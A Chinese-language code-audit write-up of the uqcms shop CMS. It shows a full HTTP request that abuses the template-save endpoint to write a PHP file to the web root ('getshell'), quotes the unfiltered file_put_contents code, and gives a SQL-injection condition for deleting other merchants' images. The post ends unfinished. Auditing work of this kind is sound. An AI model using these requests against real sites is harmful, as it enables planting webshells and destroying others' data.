[关闭]
@1kbfree 2018-06-02T14:35:38.000000Z 字数 1602 阅读 1389

uqcms代码审计

代码审计


1. 后台GETSHELL

打开URLwww.yousite.xxx?m=template后,呈现这个页面:
image_1cevu8mj382u1blhvnl1eqk1nri9.png-43.8kB
点击进入目录

image_1cevua1je1t93pa7cfj127jhv16.png-95.5kB
随便点击一个编辑,然后用Burp抓包( 用不用都可以 )

image_1cevuf2drd8t1l1e56evn31otg1j.png-106.9kB
单击提交后用Burp抓包,抓到的数据如下图

image_1cevuh0soqt1imm1icg43m13h820.png-173.1kB
我们将filename修改为phpinfo.php,把content修改为<?php phpinfo();?>

image_1cevuk0f31pddmhhphu1urj1nvn2d.png-52.6kB

修改后的数据包:

  1. POST /admin.php?m=template&a=save&jq_time=1527933067821 HTTP/1.1
  2. Host: www.iamfree.ccc
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
  4. Accept: */*
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  9. X-Requested-With: XMLHttpRequest
  10. Referer: http://www.iamfree.ccc/admin.php?m=template&a=edit&path=default.top.html
  11. Content-Length: 2886
  12. Cookie: PHPSESSID=b3uto19lpaa0mbbg4rudn9oqt0; goods[cart]=180602173948571025
  13. Connection: close
  14. filename=phpinfo.php&content=<?php phpinfo();?>

然后就会在根目录创建一个名为phpinfo.php的文件,并且内容为<?php phpinfo();?>
image_1cevur2sr1nri103u1pss15mf19l92q.png-80.8kB

访问phpinfo.php文件,完成GETSHELL:
image_1cevuscb0g0i1ccj146918t61n9837.png-75.1kB

漏洞代码处:

image_1cevvbsg4vo29pi19jcmst1ftd3k.png-147kB

  1. public function save() {
  2. if ($_POST) {
  3. $file = P('filename', '修改的文件名不能为空');
  4. $content = P('content');
  5. $query = file_put_contents($file, stripslashes_deep($content));
  6. if ($query) {
  7. right_json();
  8. } else {
  9. error_json('保存失败');
  10. }
  11. } else {
  12. error_json('提交错误');
  13. }
  14. }

加上这三段代码,便于调试

image_1cevvi0dl17hnhst1nns4j91n3m4h.png-47.8kB

Burp抓的包放到Repeater( 按住ctrl+r )模块里

image_1cevvkj3gt54godvddo68q434u.png-82.5kB
file_put_contents的返回值是第二个参数的长度

这里因为没有做任何过滤,所以这里导致了任意文件写入漏洞

前台任意删除他人图片:

漏洞处:

  1. 进入商家登陆
    image_1cf0ctl1g1rj513371i61v5k5bv9.png-482.6kB

  2. 登陆后,单击装修
    image_1cf0cuvu7f2225011akh3n6egm.png-40.9kB

  3. 点击相册列表,并且上传图片
    image_1cf0d0f9r10p21rrm14pk576i213.png-56.5kB

漏洞讲解开始

首先选择这个ID为1566的那张图片点击删除,并且用Burp进行抓包:
image_1cf0d48umhlifkd10g9poj17vf20.png-73.2kB

我们首先随便输入一下错误的语法( 方便看到他的执行了什么语句 ):
image_1cf0d6kkfr7518cvk5lm1t1bja2d.png-80kB

可以看到他执行的SQL语句是:

  1. select id,shop_id,url from uq_album where shop_id = 4 and id = 1566 or xxxx #查询uq_album表中条件为shop_id=4与id=1566的id和shop_id和url

image_1cf0e57anq5rjs1131tj431m6u2q.png-81.6kB

我们现在身为test2想把test1的图片删了,那么我们就构造一下sql语句~

  1. select id,shop_id,url from uq_album where shop_id = 4 and id = 1566 or shop_id in (5)

image_1cf0ea13g1oag25u1st01dsk1oob37.png-19.6kB

可以看见这里有3条数据被展现出来了,也就是test2上传的图片
image_1cf0ehv65i57hfmpth1qdjct3k.png-84kB

然后我们开始执行一下这个构造的SQL语句:
image_1cf0em241145v1nd7lg11femt0a41.png-77.6kB

然后我们发现那3条数据就没了:
image_1cf0emvus1lq91rm6fls17jpfq04u.png-41.6kB

代码处:

下次补 手机已经扣了4元了 出不起了

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注